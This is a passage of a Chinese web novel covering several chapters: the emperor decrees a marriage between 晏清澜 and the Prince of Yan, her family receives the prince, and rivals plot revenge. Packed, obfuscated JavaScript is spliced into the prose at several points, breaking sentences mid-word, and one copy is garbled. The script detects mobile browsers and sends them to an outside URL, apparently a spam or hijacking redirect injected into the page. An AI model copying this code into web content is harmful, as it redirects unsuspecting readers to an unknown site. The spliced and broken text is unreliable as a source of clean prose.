这平日里冷眼旁观,事不关己便不开口的家伙,今日竟破天荒替晏清澜说话? 难不成…… 他眯起眼,目光在二人之间来回扫视,越看越觉得有情况。 有了,这小子先前还说绝不成亲,这些日子,自己提及晏清澜,他竟没反驳。 甚至还笑了! 景元帝感觉自己发现了什么了不得的事,顿时来了精神,疲惫感一扫而空。 他捻了捻胡须,看看晏清澜,又看看童玄珏,嘴角的笑容越发耐人寻味。 从前,他定然挑剔晏清澜。或嫌她容貌太过招摇,不像贤妻良母;或嫌她性子过烈,像带刺的花,好看却扎手。 但现在,他改变主意了。 他这外甥,难得对婚事有了松动,他这当舅舅的,还挑什么? 长得美? 那是沉鱼落雁,闭月羞花! 性子烈? 那是英气勃勃,不输男儿! 他家阿珏,合该配这般有才有貌,有勇有谋的女子! “阿珏所言极是。”景元帝笑着点头,对童玄珏的提议表示赞同,“免死金牌该赏,两个要求也该应允。” 他话锋一转,语气里带着一丝兴奋。“只是,朕以为,这些还不够。” 童玄珏眼皮微抬,看了他一眼,没说话,等着他的下文。 晏清澜心中一动,莫名的预感涌上心头,直觉告诉她,景元帝接下来的话,怕是不简单。 果然,景元帝清了清嗓子,笑容愈发和蔼,目光落在晏清澜身上,言语间满是赞赏。 “你这孩子,医术了得,又有一身好本事,怪不得陆大人和顾大人都把你夸上了天,果真是个好姑娘。” 晏清澜嘴角微抽,景元帝这眼神,虽然温和,却让她莫名地……有些不安。 她稳了稳心神,勉强笑了笑,干巴巴地回道:“皇上您过誉了,臣女不敢当。” 童玄珏也猜不透这位皇舅的心思,他微微蹙眉,不动声色地瞥了景元帝一眼,眼神里似乎带着一丝询问。 景元帝被他这一眼看得有些不自在,轻咳一声,装作没看到,继续笑着说: “阿清啊,朕问你,你觉得燕王,朕的这个外甥,童玄珏,他如何?” 景元帝这称呼变得真快,前一刻还称“庄姑娘”,现在就成了“阿清”了。 晏清澜额角跳了跳,实在猜不透景元帝葫芦里卖的什么药。 她暗中瞄了童玄珏一眼,见他神色如常,似乎并不介意,这才稍稍安心。 “燕王殿下……”晏清澜略一思忖,斟酌着用词,尽量让语气显得真诚些,“人中之龙,气度非凡,臣女……很是敬佩。” 这话倒也不算假。 当然,还有一点她没说,也不敢说。 那就是,童玄珏虽然黑心黑肺,但他生得,是真的俊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602564|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美! 那种俊美,是让人一见,就难以忘记的。 景元帝显然很满意这个评价,他捻着胡须,连连点头。 特别是那句“人中之龙”,简直说到了他心坎里。 毕竟,这些年来,谁敢这么夸童玄珏? 那些人提起童玄珏,哪个不是心惊胆战?说的都是些“江阎王”、“血判官”、“心黑手狠”之类的话。 相比之下,这“人中之龙”四个字,当真是难得。 景元帝脸上的笑意更浓了,他又看向童玄珏,问道:“阿珏,那你觉得,阿清如何?” 童玄珏:“……” 他实在不想理会景元帝。 但景元帝都这么问了,当着晏清澜的面,他总不能说些不中听的话吧? 他有些无奈地看了景元帝一眼,眼中闪过一抹淡淡的笑意,目光在晏清澜身上轻轻一扫,惜字如金。 “甚好。” 毕竟是他看上的人,自然是哪儿都好。 非要说有什么不足,那就是,暂时还不能把人娶回家。 景元帝满意地点了点头,脸上的笑容,怎么看怎么像老父亲看到儿子终于有了心上人的那种欣慰。 “既然你们都觉得对方好,那便是天定的缘分。” 他清了清嗓子,脸上的笑容愈发灿烂,眼神里,带着一丝长辈的“慈爱”和狡黠。 “有道是,千里姻缘一线牵。如此良缘,若不结为连理,岂非天大的憾事?” 景元帝目光灼灼地盯着晏清澜,那眼神让晏清澜有些招架不住,感觉自己像被盯上的猎物。 “朕适才说,免死金牌,两个要求,还远远不够,想来你现在,应该明白朕的意思了。” 他顿了顿,语气里带着一丝不容置疑的威严,却又饱含着长辈对晚辈的期许。 “你这般出色的女子,若不做朕的外甥媳妇,岂不是暴殄天物?阿珏是朕看着长大的,他的人品,朕自然放心。朕今日便做主,为你们二人赐婚!” 景元帝语气温和却又带着不容拒绝的决断,并非平日里高高在上的帝王姿态,而是真心实意地为两个年轻人考虑。 他看着晏清澜,郑重其事地说道:“晏清澜,往后,朕便将阿珏托付于你。他或许有诸多不足,但朕相信,你会是一个好妻子。 第三百二十九章 ” 他又转头看向童玄珏,眼神中带着几分欣慰,几分期盼,还有几分……狡黠。 “阿珏,这丫头可不简单。往后,你可得收敛些,莫要被她给降住了。不过,若是你心甘情愿被她管着,倒也是一桩美事。”景元帝的赐婚,像一道惊雷劈在长乐宫,把晏清澜和童玄珏都震得不轻。 两人面面相觑,一个比一个懵。 晏清澜眨了眨眼,纤长的睫毛微微颤动,她张了张嘴,好半天才找回自己的声音: “这……皇上他,这是何意?怎的突然就……” “赐婚了?”童玄珏低沉的声音响起,替她补全了未尽之语。 景元帝看着眼前这对璧人,只觉得他们之间“情意绵绵”,很是欣慰。 他捻了捻胡须,脸上的笑容却渐渐凝固。 不对劲…… 景元帝锐利的目光扫过,这两人,怎么瞧着都不像是欢天喜地的模样? “阿清,”景元帝收敛了神色,目光柔和地落在晏清澜身上,“你意下如何?” 他顿了顿,语气中带着一丝试探: “圣旨还未拟,朕……给你留个商量的余地。” 晏清澜垂眸,掩去眼底的复杂。 “商量”二字,当真是……意味深长。 她深吸一口气,极力克制住揉捏眉心的冲动,缓缓跪下,行了一个无可挑剔的大礼,声音清冷而平静: “臣女无能,全凭皇上做主。” 景元帝闻言,悬着的心落回了肚子里,只觉一股难以言喻的喜悦涌上心头。 他抚掌大笑,觉得自己这媒人当得极好。 这丫头,定然是欢喜的! 若不是心悦阿珏,怎会如此顺从? 定然不是因为惧怕天威! 景元帝在心里暗自得意。 他又看向童玄珏,语气中带着几分得意与期待: “阿珏,你呢?想来也是满意的,对不对?” 景元帝这人,着实是有些……过于直率。 这等私密之事,竟也当着当事人的面直言询问。 也不知是哪家的家风,竟养出这般性子。 童玄珏向来不喜与景元帝多言,此刻却一反常态地勾起了唇角。 他的目光温柔如水,凝视着身旁的晏清澜。 那眼神,仿佛要将人溺毙其中。 初春的暖阳,寒冬的腊梅,都不及她此刻的明媚。 他缓缓开口,声音低沉而郑重,像是立下誓言: “得遇佳人,天恩眷顾,臣……三生有幸。” 景元帝险些喜得原地蹦起。 他努力压下几乎要冲出嗓子眼的笑意,咳了两声,才算勉强维持住帝王的威严。 要不是为了在小辈面前留个好印象,他真想立刻传令下去,让礼部即刻筹备大婚事宜。 长乐宫外,内侍监尖细的嗓音划破了长空: “圣上口谕——” “庄家四女晏清澜,淑德贤良,蕙质兰心,救驾有功,特赏赐黄金万两,锦缎千匹,南海珍珠十斛……” “另,晏清澜与燕王童玄珏,乃天作之合,特赐婚,择日完婚!” 这道口谕,如同一阵狂风,迅速席卷了整个汴京。 赏赐倒还在其次,百姓们更关心的,是后面的赐婚。 茶楼酒肆,街头巷尾,瞬间炸开了锅。 “听说了吗?皇上给晏四姑娘和燕王赐婚了!” “这……这是什么路数?” “晏四姑娘不是才救了皇上吗?怎的转头就……” 一个身着短打的汉子,猛地一拍桌子,唾沫星子横飞: “这不明摆着吗?皇上这是……这是卸磨杀驴啊!” 旁边一个书生模样的人摇着折扇,慢悠悠地说道: “非也,非也。依我看,皇上这是……棒打鸳鸯!” “鸳鸯?谁跟谁是鸳鸯?” “自然是晏四姑娘和那位……咳咳,不能提名字的那位。” “嘶……你这么一说,倒也有几分道理。” “可怜晏四姑娘,刚出狼窝,又入虎口……” 旁边桌上,一个穿着华贵,但贼眉鼠眼的男人凑过来,神秘兮兮地压低声音: “你们听说了吗?我有个远房亲戚在宫里当差,他说……” “说什么?” “他说,晏四姑娘根本没受伤!是装的!” “装的?为何?” “为了逃婚呗!谁不知道燕王是血判官?嫁给他,那不是……” “嘘!慎言!” 流言四起,各种版本层出不穷。 有人说晏清澜是为了躲避燕王才假装受伤,也有人说燕王对晏清澜早已情根深种,只是碍于身份不敢表露,更有人说这桩婚事是晏清澜一手策划,为的就是攀上皇亲国戚…… 总之,越传越离谱。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605134|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而此时,被传言包围的两位主角,正坐在回府的马车里,气氛有些微妙。 童玄珏的心情显然极好,唇角始终噙着一抹若有若无的笑意。 晏清澜却没他这般好心情。 她看着童玄珏,目光不善,语气中带着几分恼怒: “说好了一切从简,你这是给我来了一出大的?” 她伸出手,狠狠地在童玄珏的胳膊上拧了一把,以表达自己此刻的心情。 失算,失算。 她原以为,童玄珏再厉害,终究还是个人。 却忘了,他身后,还站着一尊真神。 这下好了,直接被将了一军。 童玄珏吃痛,却只是微微蹙眉,眼中闪过一丝无奈,更多的却是纵容: “此事,我亦未曾预料。” 他顿了顿,语气诚恳: “皇上他,行事向来……不按常理。” 原本,按照他的计划,至少还要再过几月,才能慢慢渗透,让厉宗玉和傅清霁彻底松口,答应他们的婚事。 如今被景元帝这么一搅和,虽说省了不少事,却也打乱了他原本的部署。 童玄珏看着晏清澜,眼中闪过一丝担忧。 他害怕,害怕她会因此而抗拒。 毕竟,成亲这件事,对女子而言,非同小可。 “我原本想着……” 他顿了顿,斟酌着措辞: “等你心甘情愿,再……” 晏清澜轻哼一声,打断了他的话: “现在呢?难道是我逼你不成?” 童玄珏连忙摇头,他伸手,轻轻将晏清澜揽入怀中,把她揽入怀中,声音低沉而温柔: “我只是怕你不愿。” 他的声音很轻,带着一丝不易察觉的脆弱。 那一刻,童玄珏卸下了所有的伪装,不再是那个冷酷无情的燕王,只是一个患得患失的普通人。 他会害怕,害怕她还未做好准备,害怕她会拒绝,更害怕……失去她。 若她不愿,他该如何? 强留? 还是放手? **。 光是想想,便觉得心如刀绞。 所幸,她没有。“没办法,谁让本姑娘如此招人喜欢呢?” 晏清澜身子微微后仰,倚在童玄珏宽厚的肩头,眼波如水,嘴角漾着一抹狡黠。 “这婚事嘛,也不是不能考虑。 第三百三十章 不过……” 她故意拉长了音调,一双明眸在童玄珏脸上打着转, “本姑娘可是很挑剔的,王爷可得好好表现才行。” 童玄珏低垂眼帘,凝视着她如墨玉般的发丝,鼻尖萦绕着她身上淡淡的清香,心头一片柔软。 “喜欢你,是本王此生最不后悔之事。” 他的嗓音低沉而富有磁性,每一个字都仿佛敲打在晏清澜的心上。 至于如何表现…… 童玄珏微微勾起唇角,这还用得着她说? 他定要将这世间最好的一切都捧到她面前。 只是,眼下就有一道难关。 童玄珏眉头微蹙,脸上罕见地流露出一丝紧张和不安, “咱们眼瞅着就要到韩府了,你说……岳父岳母会不会直接把我给打出来?” 他顿了顿,又补充道: “用最粗的那根棍子。” 晏清澜被他逗得“噗嗤”一声笑了出来,却又忍不住心疼。 她抬手,轻轻抚平他紧锁的眉头, “或许……大概……可能……不会吧?” 她语气飘忽,显然也没什么底气。 毕竟父皇金口玉言,赐婚的圣旨都下来了。 就算爹娘再怎么不喜欢童玄珏,至少也得给皇上几分薄面。 至于会不会给童玄珏好脸色看…… 晏清澜默默在心里叹了口气,那难度,不亚于让铁树开花。 她偷偷瞄了童玄珏一眼,见他一副如临大敌的模样,心中暗自好笑。 平日里运筹帷幄的燕王殿下,竟也有这般手足无措的时候? 为了今日登门,童玄珏可是做了十足的准备。 马车内,整齐地码放着几口红木箱笼,里头装的,都是他让尤戟连夜从澜王府库房里搜罗来的珍品。 “吱呀——” 车轮碾过青石板,发出细微的声响,马车缓缓停在了韩府门前。 童玄珏深吸一口气,率先跳下马车,然后转身,朝尚在车内的晏清澜伸出了手。 他的动作优雅而自然,仿佛一位等待公主的骑士。 晏清澜微微一怔,随即唇角绽开一抹明媚的笑容,将手轻轻放入他的掌心。 指尖相触,微凉的触感传来,童玄珏只觉得一股暖流涌上心头。 两人并肩而立,一个俊美无俦,一个灵动俏丽,宛若一对从画中走出的璧人。 这一幕,自然落入了早已在门口等候的陆家众人眼中。 看到晏清澜安然无恙地归来,陆家人的心总算放了下来。 可当他们的目光落在童玄珏身上时,脸色就变得五彩纷呈。 厉宗玉和宋明澜父子二人,不约而同地横眉冷对,额头青筋暴起,仿佛下一刻就要冲上去跟童玄珏大战三百回合。 傅清霁倒是相对平静,只是眼神依旧锐利,细细打量着童玄珏。 而宋溪溪…… 她看看童玄珏,又看看晏清澜,目光在两人之间来回扫视,嘴角越咧越大,露出了发现新大陆般的兴奋表情。 哟哟哟! 这情况,不对劲啊! 她怎么觉得,这位平日里冷若冰霜的燕王殿下,看阿清姐姐的眼神…… 像是要把人给吃了! 而且,他对这桩婚事,好像一点儿也不抵触? 再看看阿清姐姐,竟然也没有半点不情愿的样子! 莫非…… 这里面有什么她不知道的猫腻? 宋溪溪觉得自己发现了一个惊天大秘密,激动得两眼放光。 “阿清姐姐!你可算是回来了!担心死我了!” 宋溪溪回过神,一个箭步冲上前,紧紧抱住晏清澜的胳膊,声音里满是担忧和后怕。 “之前在牢里虽然见你没事,可我这心里啊,还是像揣了只兔子似的,七上八下的。” 她仔仔细细地检查了一遍晏清澜,确认她真的毫发无损,才如释重负地松了口气, “这下好了,你平平安安地回来了,我也能睡个安稳觉了。” 厉宗玉和傅清霁也快步走上前来,眼眶微微泛红。 他们既激动又心疼。 激动的是,晏清澜终于脱离了险境。 心疼的是,晏清澜在最危难的时刻,庄家竟然袖手旁观,甚至还落井下石! 傅清霁紧紧握住晏清澜的手,声音哽咽: “阿清,让你受苦了……” “以后,这里就是你的家,我们再也不会让你受半点委屈。” 厉宗玉也沉声道: “没错!以后谁要是敢欺负你,先问问我手里的刀答不答应!” 他转头,看向宋明澜,使了个眼色。 有些话,他们当长辈的不方便说,就只能让这小子出马了。 宋明澜心领神会,立刻换上一副凶神恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605135|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煞的表情,走到童玄珏面前,上下打量着他,冷哼一声: “我对燕王说道,我们家阿清,那可是娇养长大的,平日里连句重话都舍不得说。你以后,可得给我好好待她!” 宋明澜眯起眼睛,语气中充满了威胁, “你要是敢让她掉一滴眼泪,我宋明澜就算拼了这条命,也要跟你没完!” 他顿了顿,又补充道: “到时候,可别怪我心狠手辣,一把火烧了你的澜王府,让你无家可归!” 童玄珏听了,不但不生气,反而微微一笑。 他侧过头,温柔地看了晏清澜一眼, “大哥只管放心,我定然不会让阿清受半点委屈。” 欺负她? 不存在的。 他疼她宠她都来不及,又怎么舍得欺负她? 童玄珏这声“大哥”,叫得那叫一个顺溜。 宋明澜听了,却气得牙痒痒。 他斜睨了童玄珏一眼,忽然记起一件事,冷笑一声: “我说呢,之前燕王殿下怎么突然转了性,非要喊我这个比你小的‘大哥’,原来是在这儿等着我呢!” 他逼近童玄珏,一字一顿地说道: “童玄珏,你少跟我来这套!你是不是……早就对我们家阿清有非分之想了?” “说!你是不是早就盯上她了?” 童玄珏挑了挑眉,并不否认。 “这都被你看出来了?” 童玄珏的语气颇有些无奈。 “那也没办法,谁让你们陆家女儿太优秀呢。” 晏清澜听着这话,没忍住,翻了个白眼。 这家伙,还真是…… 陆家人见他大大方方承认,反倒一时语塞。 宋明澜正想再说些什么,童玄珏却抢先开了口。 “我知道你们不放心,毕竟我以前的名声确实不怎么样。” “换做是我,如果我有这么个宝贝女儿,我也不放心把她交给我这样的人。” “但是——” 童玄珏话锋一转, “圣旨已下,这事儿,恐怕由不得你们不同意了。” “当然,我也不是拿皇上来压你们。我只是想说,既然事情已经到了这一步,不如大家各退一步,好好相处。” “毕竟,以后就是一家人了嘛。” 他这话说得坦诚,反倒让陆家人不好再说什么。 第三百三十一章 宋明澜原本还想再挑刺,却被傅清霁瞪了一眼。 傅清霁叹了口气,上前一步,对童玄珏说道: “你这孩子,说什么呢?我们也不是不讲道理的人。” “既然皇上赐婚,那自然有他的道理。我们相信,你一定会好好待阿清的。”“顾将军不必如此劝慰,”童玄珏眼睫低垂,鸦羽似的遮住了眼底神色,声音也低沉了下去,“若非皇上赐婚,我深知,凭我如今的境况,原是配不上阿清的。” 晏清澜简直听不下去。 这家伙,又开始装腔作势了? 配不上? 呸! 她晏清澜上辈子怕不是欠了他童玄珏的,才会两世都被他这副虚伪面孔迷惑! 之前是谁,死死攥着她的手,口口声声自称“你夫君”的? 难不成,真是被什么不干净的东西附体了? 晏清澜狠狠剜了童玄珏一眼,眼刀子恨不得在他身上戳出几个洞来,示意他见好就收。 童玄珏却像是全然没接收到晏清澜的警告,只是唇角不易察觉地轻轻扬了扬。 两人的这番“眉来眼去”,自然没逃过傅清霁和宋溪溪的眼睛。 宋溪溪稳坐钓鱼台,悠哉悠哉地嗑着瓜子,一双灵动的大眼睛滴溜溜转个不停,心里头跟明镜似的:只怕,这里头大有文章呢! 傅清霁的心情,却像是打翻了五味瓶,酸甜苦辣咸一齐涌上心头。 虽说是圣上金口玉言赐下的婚事,但她总觉得自家女儿受了委屈。 晏清澜这孩子,平日里主意最正,恐怕一时半会儿还接受不了这桩包办的婚事。 即便碍于皇命难违,不得不低头应允,心里头,怕也跟扎了根刺似的,时不时就要隐隐作痛。 可这会儿,瞧着晏清澜和童玄珏之间的互动,她又觉得,自家女儿对这位燕王殿下,也并非全然无意。 平日里,晏清澜总是沉静淡然,小小年纪,便有种处变不惊的沉稳。傅清霁也说不清女儿这是像谁,总之不像自己。 在她眼里,自己这个女儿,自是千般好,万般好。若说唯一让她有些不满意之处,便是这孩子太过懂事,仿佛时时刻刻都紧绷着,不得放松。 傅清霁私心里,是希望晏清澜能活得更自在、更随性一些,寻常这个年纪的小姑娘,哪个不是娇憨活泼的? 只是,晏清澜从前那些经历,注定了她要比旁人更早熟,更清醒,这让傅清霁愈发心疼。 眼下,能看到晏清澜流露出几分小女儿的娇态,傅清霁心中是说不出的欢喜。 可欢喜之余,又难免有些患得患失。 她的宝贝女儿,在她身边统共也没待几年,怎么这么快,就要嫁作他人妇了呢? 她对童玄珏,知之甚少,虽说他眼下这番话,说得情真意切,可谁又能保证,成亲之后,他能始终如一地待晏清澜好呢? 这话,傅清霁自然不好当着童玄珏的面问出口。 毕竟,人家是头一回上门,总得留几分颜面。 可她还没开口,宋明澜那爆炭脾气早就憋不住了,他冷哼一声,直接把话挑明了: “童玄珏,旁的话我也不跟你绕弯子。我们陆家,最是见不得那些个乱七八糟的事儿!你若是想娶阿清,就得把那些花花肠子都给我收起来!” 他顿了顿,语气愈发严厉: “我们家,可不兴纳妾那一套!你若是敢在外面沾花惹草,我头一个饶不了你!” 宋明澜这话,与其说是质问,倒不如说是警告。 寻常人家,男子三妻四妾再寻常不过。便是那寻常百姓家,稍稍有些家底的,哪个不是想着多娶几房,好开枝散叶? 更别提那些个高门大户了,便是正妻,为了彰显贤德之名,也得主动张罗着给丈夫纳妾。 若是拦着不让,反倒落个“善妒”的名声,惹人耻笑。 可这些,在陆家统统行不通。 陆家几代人下来,个个都是痴情种。 厉宗玉心里只有傅清霁一个,旁人便是再貌美,再贤淑,他也瞧不上眼。 到了宋明澜这儿,更是有过之而无不及。 他年纪虽小,可这护妹的心思,却比谁都重。 厉宗玉和傅清霁对视一眼,皆从对方眼中看到了无奈。 他们也想敲打敲打童玄珏,可总不好在人家头一次上门的时候,就将话说得太绝。 如今宋明澜开了口,倒也省了他们的事。 这事儿,若是传扬出去,顶多说他们陆家霸道,不讲规矩。可谁让他们陆家,就是这么个规矩呢? 童玄珏的视线,缓缓落在了晏清澜身上,眸中似有万千星光闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610498|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烁,尽数映入了她的身影。 “我既应了这门亲事,便绝不会负她。” 他语气平缓,却带着不容置疑的坚定, “此生,我童玄珏,唯有晏清澜一人。” 傅清霁和厉宗玉交换了一个眼神。 他们并非不信童玄珏,只是,这世间之事,瞬息万变,谁又能保证,今日的誓言,来日不会被抛诸脑后呢? 宋明澜更是撇了撇嘴,显然不信。 倒是宋溪溪,微微眯起了眼睛,若有所思。 她向来是个通透的,观人于微,她瞧着童玄珏,倒不似在说谎。 只是,这世上的事,从来都不是一个人说了算的。 她轻轻叹了口气,也不知是在替谁惋惜。 “我说,你们一个个的,都愁眉苦脸的做什么?” 宋溪溪冷不丁开口,打破了这略显凝重的气氛, “这大喜的日子,就该高高兴兴的嘛!” 她一边说着,一边朝晏子晏使了个眼色。 晏子晏会意,连忙起身,招呼着众人入席。 “对对对,先吃饭,先吃饭!有什么话,咱们饭桌上再说!” 几人入座,童玄珏自然而然地坐在了晏清澜身旁。 晏清澜不动声色地往旁边挪了挪,试图与他拉开距离。 可童玄珏却像是没察觉到似的,又紧挨了过去。 两人这番“小动作”,自然又落入了傅清霁和宋溪溪眼中。 傅清霁心中五味杂陈,宋溪溪则是一脸看好戏的表情。 倒是另一边厢,陈家小院里,却是一片愁云惨淡。 月上中天,清辉洒落。 杨澜独自坐在院中石桌旁,桌上搁着一壶酒,几碟小菜,却一口未动。 晏子晏披了件外袍,从屋里走了出来。 他见杨澜这副失魂落魄的模样,忍不住叹了口气。 “我说,你这又是何苦呢?” 他走过去,在杨澜身旁坐下, “圣旨已下,木已成舟,你便是再怎么不甘心,也无济于事了。” 杨澜苦笑一声, “我自然知道这个道理。可……我就是觉得,心里头空落落的,像是少了些什么。” 他顿了顿,又道: “你说,若是我当初… 第三百三十二章 …再主动一些,再勇敢一些,结局会不会不一样?” 晏子晏拍了拍他的肩膀, “别想了,没用的。感情这事儿,从来都不是一个人的事。” 他仰头灌了一口酒,眼神有些迷离, “我爹娘……已经将阿清逐出族谱,与她断绝了关系……” 他声音低沉,带着几分哽咽, “往后……我再也没有四妹妹了……”“子晏,别喝了。” 杨澜看着身旁猛灌酒的晏子晏,抬手按住他手中的酒壶,眉头紧锁。他有些无奈,这人怎么借酒浇愁起来没完了? 月光下,晏子晏双眼通红,像是刚哭过一场,脸上犹有未干的泪痕。 “你……你让我喝!” 晏子晏试图挣脱杨澜的手,声音沙哑得厉害, “我心里……难受……” “知道你难受,可喝酒顶什么用?” 杨澜微不可查地叹了口气。 “圣旨都下来了,铁板钉钉,你妹妹和童玄珏那煞星的婚事已成定局,你再怎么难受,还能把这事儿给变了不成?” 晏子晏身子一僵,手上没了挣扎的力气。 “我只是……” 他声音低了下去,带着浓重的鼻音, “我只是后悔……当初要不是我……阿清她也不至于……现在,爹娘还把她从族谱上除了名,我……我现在连个妹妹都没了……” 杨澜看着他,眼神复杂,有几分无奈,又有几分说不清道不明的唏嘘, “从前你不是一直嫌她烦,巴不得没这个妹妹吗?怎么现在又……” “我……” 晏子晏猛地低下头,把脸埋进臂弯里。 “那时候……小孩子不懂事……” “现在说这些陈芝麻烂谷子的事,还有什么意义呢?” 杨澜抬手,轻轻拍了拍他的肩膀,像是安慰,又像是叹息, “事已至此,你还不如想开些。只要你心里还认她这个妹妹,她人在哪儿,又有什么分别?” 他停顿了一瞬,像是在组织语言,又像是给自己一个缓冲,才缓缓开口: “就好像……四年前,她还在京城的时候,你们虽然住在一个屋檐底下,抬头不见低头见的,可实际上呢……跟陌生人又有什么区别?” 晏子晏没有说话,只是把头埋得更低了,肩膀微微颤抖着。 杨澜看着他这副模样,心里也有些不是滋味。 明明,他才是那个应该被安慰的人,毕竟他喜欢的人被赐婚了。怎么反倒成了他来安慰晏子晏? 或许,这就是命吧,他上辈子欠了这小子的。 杨澜自嘲地摇了摇头。 “我说你哭什么?哭顶个屁用!你哭,能让你那对‘好爹娘’回心转意?还是能让你妹妹跟你重归于好,冰释前嫌?” 晏子晏猛地抬头,狠狠地瞪了杨澜一眼,眼眶更红了。 杨澜毫不退让地回视他。 “不能……” 半晌,晏子晏才从牙缝里挤出两个字,声音里满是苦涩。 “既然不能,那就别哭了,纯粹浪费眼泪。” 杨澜语气平静得近乎冷漠, “做这些没用的,无非是自寻烦恼罢了,纯粹感动自己罢了。” “你这人……就不能说点好听的?” 晏子晏吸了吸鼻子,语气中带着一丝埋怨。 “我这人,向来不会说好听的,嘴笨。” 杨澜淡淡地回了一句, “我只是觉得,与其把时间浪费在这些没意义的破事上,不如想想,以后该怎么办。” 他抬眼看向远方,目光深邃,仿佛能穿透这无尽的夜色。 “至少,我们还能做些什么……”他喃喃自语,像是在对晏子晏说,又像是在对自己说。 晏子晏胡乱擦了擦眼泪,声音闷闷的, “但愿吧……” 他知道,杨澜说的都对。 可是,知道是一回事,能不能做到又是另一回事。 他心里还是难受得紧,像是压了一块大石头,沉甸甸的,喘不过气。 他怕,怕家里的其他人,也会像爹娘一样,被猪油蒙了心,做出让他后悔终生的事情。 …… 汴京城,关于晏清澜和童玄珏的婚事,早已传得沸沸扬扬,满城风雨。 苏府自然也听到了风声,躲不过去。 钱雅芝的院子里,一片狼藉,像是刚被洗劫过一样。 平日里精心保养的名贵摆设,此刻碎了一地,无人收拾。 “**!都是**!” 钱雅芝披头散发,往日里端庄的仪态荡然无存,眼中满是疯狂的恨意,像是一头发了疯的母兽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16610499|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我要让她们付出代价!一个都别想跑!” 周嬷嬷站在一旁,吓得瑟瑟发抖,双腿打颤。 她从未见过钱雅芝这副模样,只觉得一股寒气从脚底板直窜头顶。 “夫人……” 她哆哆嗦嗦地开口,声音抖得不成调,刚想开口劝说,却被钱雅芝狠狠地瞪了一眼,像是被毒蛇盯上了一般。 “你退什么?!” 钱雅芝猛地抄起一个茶杯,朝着周嬷嬷脚边狠狠砸去, “你该不会想去打小报告吧?!啊?!” 茶杯应声而碎,在周嬷嬷脚边碎裂开来,滚烫的茶水溅了她一裙摆。 周嬷嬷吓得“扑通”一声跪倒在地,膝盖磕在地板上,发出沉闷的声响,她顾不得疼,只是一个劲儿地磕头, “夫人饶命!奴婢不敢!奴婢真的没有啊!” “没有?我看你就是有!” 钱雅芝疾步上前,几步跨到周嬷嬷面前,用力踢了她一脚, “你们这群吃里扒外的东西,都在害我!那个姓秋的小妖精害我!韦氏那个老不死也害我!还有那个老虔婆,竟然还护着晏清萦那个小娼妇,和她们沆瀣一气!” 她越说越激动,声音尖锐,像是要把屋顶都掀翻, “我要让她们付出代价!一个都别想逃!我要让她们生不如死!” 周嬷嬷被她踢得生疼,眼泪止不住地往下流,却不敢发出一点声音,只是一个劲儿地求饶, “夫人息怒!夫人息怒啊!奴婢冤枉……” 钱雅芝却根本不理会她,狠狠啐了一口,眼中恨意翻滚:钱玉明成了废人,她现在看谁都不顺眼,只觉得人人都在算计她。 “韦氏那个老东西,之前还装模作样地咒我,说什么报应,现在她儿子遭了报应,我看她还笑不笑得出来!” 钱雅芝冷笑, “她不是上赶着要娶晏清萦吗?好啊!我偏不如她的愿!我就是要让她儿子娶个残花败柳,让她们一家子都不得安生!” 至于晏老夫人那边的警告,钱雅芝根本没放在心上。 “等生米煮成熟饭,我看那个老东西还能怎么办!” 她咬牙切齿,眼中闪过一丝狠毒。 钱雅芝主意已定,当即就让周嬷嬷去安排,势必要让马家和晏清萦那个贱蹄子,鸡飞狗跳,永无宁日! 第三百三十三章 另一边,晏明远的书房里。 